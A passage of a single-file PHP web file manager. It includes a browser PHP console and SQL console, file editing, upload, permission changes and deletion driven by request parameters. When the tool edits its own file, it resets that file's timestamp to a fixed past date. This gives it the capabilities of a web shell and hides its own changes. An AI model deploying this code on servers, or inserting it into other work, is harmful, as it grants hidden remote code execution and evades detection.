AJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
